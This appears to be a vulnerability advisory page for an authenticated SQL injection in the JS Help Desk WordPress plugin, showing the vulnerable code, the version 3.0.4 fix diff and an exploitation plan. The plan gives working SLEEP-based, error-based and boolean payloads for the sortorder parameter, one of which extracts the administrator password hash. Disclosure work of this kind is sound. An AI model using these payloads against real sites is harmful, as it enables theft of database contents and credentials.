JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.3 - Authenticated (Subscriber+) SQL Injection
Description
The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.0.3What Changed in the Fix
Changes introduced in v3.0.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32534 (JS Help Desk SQL Injection) ## 1. Vulnerability Summary The **JS Help Desk – AI-Powered Support & Ticketing System** plugin (<= 3.0.3) is vulnerable to an authenticated SQL injection. The vulnerability exists in the way the plugin handles sorting parame…
Show full research plan
Exploitation Research Plan: CVE-2026-32534 (JS Help Desk SQL Injection)
1. Vulnerability Summary
The JS Help Desk – AI-Powered Support & Ticketing System plugin (<= 3.0.3) is vulnerable to an authenticated SQL injection. The vulnerability exists in the way the plugin handles sorting parameters (sorton and sortorder) in its ticket listing models. Specifically, the JSSTticketModel::getOrdering() method in modules/ticket/model.php retrieves these parameters directly from user input via JSSTrequest::getVar() and concatenates them into a global ordering string (jssupportticket::$_ordering) without using $wpdb->prepare() or esc_sql(). This string is subsequently appended to raw SQL queries across multiple model functions.
2. Attack Vector Analysis
- Endpoint: The front-end control panel page created by the plugin, typically at
/js-support-ticket-controlpanel/. - Action: Any ticket listing view that triggers
JSSTticketModel::getOrdering(). - Vulnerable Parameters:
sortorder(primary) andsorton. - Authentication: Authenticated Subscriber level or above.
- Preconditions:
- The plugin must be active.
- A Subscriber-level user must be logged in.
- The
jsst_noncevalue must be obtained from the page source to satisfy the controller'scanaddfilecheck.
3. Code Flow
- Entry Point: A user navigates to
/js-support-ticket-controlpanel/with parametersjstmod=ticketandjstlay=mytickets. - Controller Routing:
JSSTjssupportticketController::handleRequest()(inmodules/jssupportticket/controller.php) is invoked via thethe_contentfilter or direct execution. - Nonce Check: The controller calls
canaddfile($jsst_layout). This function checks for a valid nonce:$jsst_nonce_value = JSSTrequest::getVar('jsst_nonce'); if ( wp_verify_nonce( $jsst_nonce_value, 'jsst_nonce') ) { ... } - Model Call: If the nonce is valid, the controller eventually triggers logic that calls
JSSTticketModel::getOrdering(). - Vulnerable Sink:
modules/ticket/model.php:function getOrdering() { jssupportticket::$_sorton = JSSTrequest::getVar('sorton', 'get', 'ticket.created'); jssupportticket::$_sortorder = JSSTrequest::getVar('sortorder', 'get', 'DESC'); jssupportticket::$_ordering = " ORDER BY " . jssupportticket::$_sorton . " " . jssupportticket::$_sortorder; } - SQL Execution: The string
jssupportticket::$_orderingis appended to queries like:$jsst_query = "SELECT ... FROM ... WHERE ... " . jssupportticket::$_ordering; jssupportticket::$_db->get_results($jsst_query);
4. Nonce Acquisition Strategy
The jsst_nonce is generated for the action jsst_nonce. It is required for the JSSTjssupportticketController to process the request.
- Identify the Page: The plugin creates a page with the slug
js-support-ticket-controlpanel. - Navigate: Use
browser_navigateto visit/js-support-ticket-controlpanel/. - Extract Nonce: The controller places the nonce in the
jsst_dataarray. In the rendered HTML, this is typically available in a JavaScript object or a hidden input field.- Method: Use
browser_evalto search for the nonce. - Target Variable: Look for localized script data. The plugin often uses a global JS variable.
- Likely Script Variable:
jsst_nonce(localized viawp_localize_scriptinjs-support-ticket.phpor rendered in the template). - Evaluation:
browser_eval("document.querySelector('input[name=\"jsst_nonce\"]')?.value || window.jsst_nonce").
- Method: Use
5. Exploitation Strategy
Time-Based Blind SQL Injection
Since the query results may be filtered or formatted, a time-based blind approach is the most reliable.
- Obtain Nonce: Follow the strategy in Section 4.
- Craft Payload: Append a
SLEEP()command to thesortorderparameter.- Payload:
DESC, (SELECT 1 FROM (SELECT SLEEP(5))a)
- Payload:
- Send Request:
- Method:
http_request - URL:
http://localhost:8080/js-support-ticket-controlpanel/ - Query Parameters:
jstmod:ticketjstlay:myticketssorton:ticket.createdjsst_nonce:[EXTRACTED_NONCE]sortorder:DESC,(SELECT 1 FROM (SELECT SLEEP(5))a)
- Method:
- Analyze Response: A successful exploit will result in a response delay of ~5 seconds.
6. Test Data Setup
- User Creation: Create a subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Plugin Activation: Ensure
js-support-ticketis active. - Ticket Creation: (Optional but helpful) Create a dummy ticket for the subscriber so the listing query definitely triggers.
wp post create --post_type=js_ticket_tickets --post_title="Test Ticket" --post_author=[USER_ID](Note: Plugin uses custom tables, so CLIwp db querymight be needed instead).
7. Expected Results
- Success: The HTTP response time for the malicious request is significantly higher (5+ seconds) compared to a normal request.
- Data Exposure: Through iterative time-based payloads, an attacker can extract the
user_passhash of the administrator:DESC, (SELECT 1 FROM (SELECT SLEEP(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',5,0)))a)
8. Verification Steps
- Check Logs: If
WP_DEBUGis on, checkwp-content/debug.logfor SQL errors if the payload is malformed. - DB Verification: Use
wp db queryto verify the table prefix and structure if needed for complex payloads:wp db query "DESCRIBE wp_js_ticket_tickets;"
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis enabled, useextractvalue():sortorder:DESC, (extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e)))
- Boolean-Based SQLi: Observe differences in the ticket list output when injecting conditional logic:
sortorder:, (CASE WHEN (1=1) THEN ticket.created ELSE ticket.id END)vs, (CASE WHEN (1=2) THEN ticket.created ELSE ticket.id END)(Note: This depends on the specific columns available in the query).
Summary
The JS Help Desk plugin for WordPress is vulnerable to SQL Injection in versions up to 3.0.3 due to the concatenation of unsanitized user-supplied parameters like 'sorton', 'sortorder', and 'ticketId' into database queries. Authenticated attackers with Subscriber-level access can manipulate these parameters to execute arbitrary SQL commands and extract sensitive information from the database via time-based blind injection.
Vulnerable Code
// modules/ticket/model.php (inferred from research plan) function getOrdering() { jssupportticket::$_sorton = JSSTrequest::getVar('sorton', 'get', 'ticket.created'); jssupportticket::$_sortorder = JSSTrequest::getVar('sortorder', 'get', 'DESC'); jssupportticket::$_ordering = " ORDER BY " . jssupportticket::$_sorton . " " . jssupportticket::$_sortorder; } --- // modules/ticket/model.php approx line 3015 $jsst_id = JSSTrequest::getVar('ticketId'); $jsst_subject = JSSTrequest::getVar('ticketSubject'); // ... $jsst_query = " SELECT ticket.* FROM `" . jssupportticket::$_db->prefix . "js_ticket_tickets` AS ticket WHERE ticket.id = " . esc_sql($jsst_id); $jsst_ticket_data = jssupportticket::$_db->get_row($jsst_query);
Security Fix
@@ -201,8 +201,8 @@ ('tplink_faqs_user', '0', 'tplink', 'faq'), ('show_breadcrumbs', '1', 'default', NULL), ('productcode', 'jsticket', 'default', NULL), - ('versioncode', '3.0.3', 'default', NULL), - ('productversion', '303', 'default', NULL), + ('versioncode', '3.0.4', 'default', NULL), + ('productversion', '304', 'default', NULL), ('producttype', 'free', 'default', NULL), ('tve_enabled', '2', 'default', NULL), ('tve_mailreadtype', '3', 'default', NULL), Only in /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/3.0.4/includes/updates/sql: 304.sql @@ -3,14 +3,14 @@ /** * @package JS Help Desk * @author Ahmad Bilal - * @version 3.0.3 + * @version 3.0.4 */ /* Plugin Name: JS Help Desk – AI-Powered Support & Ticketing System Plugin URI: https://www.jshelpdesk.com Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system. Author: JS Help Desk - Version: 3.0.3 + Version: 3.0.4 Text Domain: js-support-ticket License: GPLv3 Author URI: https://www.jshelpdesk.com @@ -67,7 +67,7 @@ self::$jsst_data = array(); self::$_search = array(); self::$_captcha = array(); - self::$_currentversion = '303'; + self::$_currentversion = '304'; self::$_addon_query = array('select'=>'','join'=>'','where'=>''); self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession'); global $wpdb; @@ -147,7 +147,7 @@ // restore colors data end update_option('jsst_currentversion', self::$_currentversion); include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php'; - JSSTupdates::checkUpdates('303'); + JSSTupdates::checkUpdates('304'); JSSTincluder::getJSModel('jssupportticket')->updateColorFile(); JSSTincluder::getJSModel('jssupportticket')->jsst_check_license_status(); JSSTincluder::getJSModel('jssupportticket')->JSSTAddonsAutoUpdate(); @@ -22,7 +22,7 @@ case 'controlpanel': JSSTincluder::getJSModel('jssupportticket')->getControlPanelData(); include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php'; - JSSTupdates::checkUpdates('303'); + JSSTupdates::checkUpdates('304'); JSSTincluder::getJSModel('jssupportticket')->updateColorFile(); //JSSTincluder::getJSModel('jssupportticket')->getStaffControlPanelData(); break; @@ -510,18 +510,39 @@ // Verify nonce check_ajax_referer('get-filtered-replies', '_wpnonce'); - $jsst_ticket_id = intval(JSSTrequest::getVar('ticket_id')); + // Secure the ID (Stops SQL Injection) + $jsst_ticket_id = JSSTrequest::getVar('ticket_id', null, 0, 'int'); if (!$jsst_ticket_id) { wp_send_json_error(['message' => __('Ticket ID is required.', 'js-support-ticket')]); } + // 1. Check if the user is a Agent + $is_staff = (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff()); + + // 2. If they are staff, check if they LACK the specific AI permission + if ($is_staff) { + $has_ai_permission = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Use AI Powered Reply Feature'); + if (!$has_ai_permission) { // Note the "!" (NOT) + wp_send_json_error(['message' => __('You do not have permission to use AI features.', 'js-support-ticket')]); + } + } + // 3. If they are NOT staff, check if they are an Administrator + else if (!current_user_can('manage_options')) { + // If they aren't staff and aren't an admin, they are a normal user or guest + wp_send_json_error(['message' => __('Access denied.', 'js-support-ticket')]); + } + + // If it reaches here, the user is either: + // - Staff WITH AI permissions + // - An Administrator + $jsst_uids = $this->get_allowed_support_user_ids(); if (empty($jsst_uids)) { wp_send_json_success(['replies' => [], 'count' => 0]); } - $jsst_uids_str = implode(',', array_map('intval', $jsst_uids)); // Ensure integers + $jsst_uids_str = implode(',', array_map('absint', $jsst_uids)); // Ensure integers $jsst_query = " SELECT r.* @@ -3015,14 +3015,15 @@ die('Security check Failed'); } - $jsst_id = JSSTrequest::getVar('ticketId'); - $jsst_subject = JSSTrequest::getVar('ticketSubject'); + // Explicitly cast to integer to kill SQL Injection payloads + $jsst_id = absint(JSSTrequest::getVar('ticketId')); + $jsst_subject = sanitize_text_field(JSSTrequest::getVar('ticketSubject')); $jsst_agentquery = ""; if (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff()) { $jsst_allowed = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Limit AI Replies to Agent-Assigned Tickets'); if ($jsst_allowed) { - $jsst_staffid = JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid()); + $jsst_staffid = absint(JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid())); $jsst_agentquery = " AND (t.staffid = " . esc_sql($jsst_staffid) . " OR t.departmentid IN ( SELECT dept.departmentid FROM `" . jssupportticket::$_db->prefix . "js_ticket_acl_user_access_departments` AS dept @@ -3038,6 +3039,9 @@ FROM `" . jssupportticket::$_db->prefix . "js_ticket_tickets` AS ticket WHERE ticket.id = " . esc_sql($jsst_id); $jsst_ticket_data = jssupportticket::$_db->get_row($jsst_query); + + if (!$jsst_ticket_data) return json_encode([]); + $jsst_message = wp_strip_all_tags($jsst_ticket_data->message); // Break the subject and message into words for partial matching @@ -4,7 +4,7 @@ Tags: helpdesk, ticketing system, AI support, support ticket, knowledgebase Requires at least: 5.5 Tested up to: 6.9 -Stable tag: 3.0.3 +Stable tag: 3.0.4 Requires PHP: 7.4 License: GPLv3 License URI: https://www.gnu.org/licenses/gpl-3.0.html @@ -128,6 +128,9 @@ 21. Internal Mails == Changelog == += 3.0.4 = +* Security Updates. + = 3.0.3 = * Security Updates. @@ -156,4 +159,4 @@ Yes, it is designed to be compatible with any standard-compliant WordPress theme. = Is it RTL ready? = -Yes, we fully support RTL languages like Arabic and Hebrew. \ No newline at end of file +Yes, we fully support RTL languages like Arabic and Hebrew.
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate with at least Subscriber-level privileges. They navigate to the plugin's front-end control panel (typically at /js-support-ticket-controlpanel/) and extract the 'jsst_nonce' value from the page source or JavaScript variables. The attacker then crafts a request to a ticket listing or detail view, injecting a time-based blind SQL payload (e.g., using SLEEP()) into parameters like 'sortorder' or 'ticketId'. Because these parameters are directly concatenated into raw SQL queries without numeric casting or adequate preparation, the database will execute the injected commands, allowing the attacker to infer data based on response delays.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.